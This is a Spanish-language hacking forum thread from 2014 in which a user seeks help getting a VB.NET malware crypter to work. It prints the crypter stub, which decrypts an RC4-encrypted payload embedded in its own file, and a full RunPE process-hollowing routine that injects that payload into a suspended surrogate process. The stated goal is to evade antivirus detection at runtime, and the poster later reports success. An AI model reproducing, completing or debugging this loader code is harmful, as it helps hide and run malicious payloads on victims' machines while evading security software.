comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[SOLUCIONADO] Ayuda al inyectar en runpe

  • 1 Respuestas
  • 910 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Cyb3r2876

  • *
  • Underc0der
  • Mensajes: 8
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« en: Enero 19, 2014, 07:16:29 am »
Wenas gente, llevo meses liado con un crypter y todo va bien pero cuando lo paso a runtime se estropea el exe, en hexa se ve la cabecera y todo más o menos bien pero no corre el programa cryptado.

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
Dim archivo As String
        Dim archivodesplit() As String
        Dim archivocortado As String
        Dim archivofinal() As Byte

        FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
        archivo = Space(LOF(1))
        FileGet(1, archivo)
        FileClose(1)

        archivodesplit = Split(archivo, separador)
        archivocortado = jkhnñjharejfgfdjkhituytih85j4kjn45(archivodesplit(1), "camuflate") 'rc4

        archivofinal = System.Text.Encoding.Default.GetBytes(archivocortado)
        Call estolalia.RunPE.InjectPE(archivofinal, archivo)   'aquí no estoy seguro que archivo sea el argumento correcto pero he probado más

        Me.Close()


Y esta es la función inject del runpe:
Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
Public Shared Function InjectPE(ByVal bytes As Byte(), ByVal surrogateProcess As String) As Boolean
            Try
                Dim procAttr As IntPtr = IntPtr.Zero
                Dim processInfo As IntPtr() = New IntPtr(3) {}
                Dim startupInfo As Byte() = New Byte(67) {}

                Dim num2 As Integer = BitConverter.ToInt32(bytes, 60)
                Dim num As Integer = BitConverter.ToInt16(bytes, num2 + 6)
                Dim ptr4 As New IntPtr(BitConverter.ToInt32(bytes, num2 + &H54))

                If CreateProcess(Nothing, New StringBuilder(surrogateProcess), procAttr, procAttr, False, 4, _
                procAttr, Nothing, startupInfo, processInfo) Then
                    Dim ctxt As UInteger() = New UInteger(178) {}
                    ctxt(0) = &H10002
                    If GetThreadContext(processInfo(1), ctxt) Then
                        Dim baseAddr As New IntPtr(ctxt(&H29) + 8L)

                        Dim buffer__1 As IntPtr = IntPtr.Zero
                        Dim bufferSize As New IntPtr(4)

                        Dim numRead As IntPtr = IntPtr.Zero

                        If ReadProcessMemory(processInfo(0), baseAddr, buffer__1, CInt(bufferSize), numRead) AndAlso (NtUnmapViewOfSection(processInfo(0), buffer__1) = 0) Then
                            Dim addr As New IntPtr(BitConverter.ToInt32(bytes, num2 + &H34))
                            Dim size As New IntPtr(BitConverter.ToInt32(bytes, num2 + 80))
                            Dim lpBaseAddress As IntPtr = VirtualAllocEx(processInfo(0), addr, size, &H3000, &H40)

                            Dim lpNumberOfBytesWritten As Integer

                            WriteProcessMemory(processInfo(0), lpBaseAddress, bytes, CUInt(CInt(ptr4)), lpNumberOfBytesWritten)
                            Dim num5 As Integer = num - 1
                            For i As Integer = 0 To num5
                                Dim dst As Integer() = New Integer(9) {}
                                Buffer.BlockCopy(bytes, (num2 + &HF8) + (i * 40), dst, 0, 40)
                                Dim buffer2 As Byte() = New Byte((dst(4) - 1)) {}
                                Buffer.BlockCopy(bytes, dst(5), buffer2, 0, buffer2.Length)

                                size = New IntPtr(lpBaseAddress.ToInt32() + dst(3))
                                addr = New IntPtr(buffer2.Length)

                                WriteProcessMemory(processInfo(0), size, buffer2, CUInt(addr), lpNumberOfBytesWritten)
                            Next
                            size = New IntPtr(ctxt(&H29) + 8L)
                            addr = New IntPtr(4)

                            WriteProcessMemory(processInfo(0), size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), CUInt(addr), lpNumberOfBytesWritten)
                            ctxt(&H2C) = CUInt(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40))
                            SetThreadContext(processInfo(1), ctxt)
                        End If
                    End If
                    ResumeThread(processInfo(1))
                End If
            Catch
                Return False
            End Try
            Return True
        End Function


Llevo días (casi enteros... xD) depurando y probando cosas diferentes módulos runpe diferentes argumentos y nada, solo me sale en scantime  T T
« Última modificación: Agosto 19, 2014, 09:38:48 pm por Expermicid »

Desconectado Cyb3r2876

  • *
  • Underc0der
  • Mensajes: 8
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #1 en: Enero 19, 2014, 08:13:02 pm »
bueno al fin he conseguido eso. se me olvido decir que es en vb.net

me queda probar que realmente se ejecuta como debe en la memoria, pero eso es otro tema , así que se puede dar este por solucionado..

salu2

 

¿Te gustó el post? COMPARTILO!



[SOLUCIONADO] ¿Kali Linux o Kali Linux Ligth ?

Iniciado por worq

Respuestas: 2
Vistas: 6196
Último mensaje Noviembre 21, 2017, 12:28:54 pm
por Codig0Bit
[SOLUCIONADO] ¿Como publicar un software como software libre?

Iniciado por FuriosoJack

Respuestas: 2
Vistas: 1529
Último mensaje Mayo 23, 2017, 07:24:22 am
por HATI
[SOLUCIONADO] Multiuploader de imagenes con mysql, hosting de imagenes con mysql

Iniciado por graphixx

Respuestas: 4
Vistas: 2123
Último mensaje Marzo 26, 2013, 05:42:58 pm
por Xt3mP
[SOLUCIONADO] Linux Mint, errores, errores y mas errores...

Iniciado por n1sendev

Respuestas: 12
Vistas: 2662
Último mensaje Noviembre 22, 2017, 06:50:55 am
por RuidosoBSD
[SOLUCIONADO] Problem al instalar Windows "cualquier windows"

Iniciado por Made

Respuestas: 7
Vistas: 2882
Último mensaje Septiembre 03, 2012, 04:53:08 pm
por Made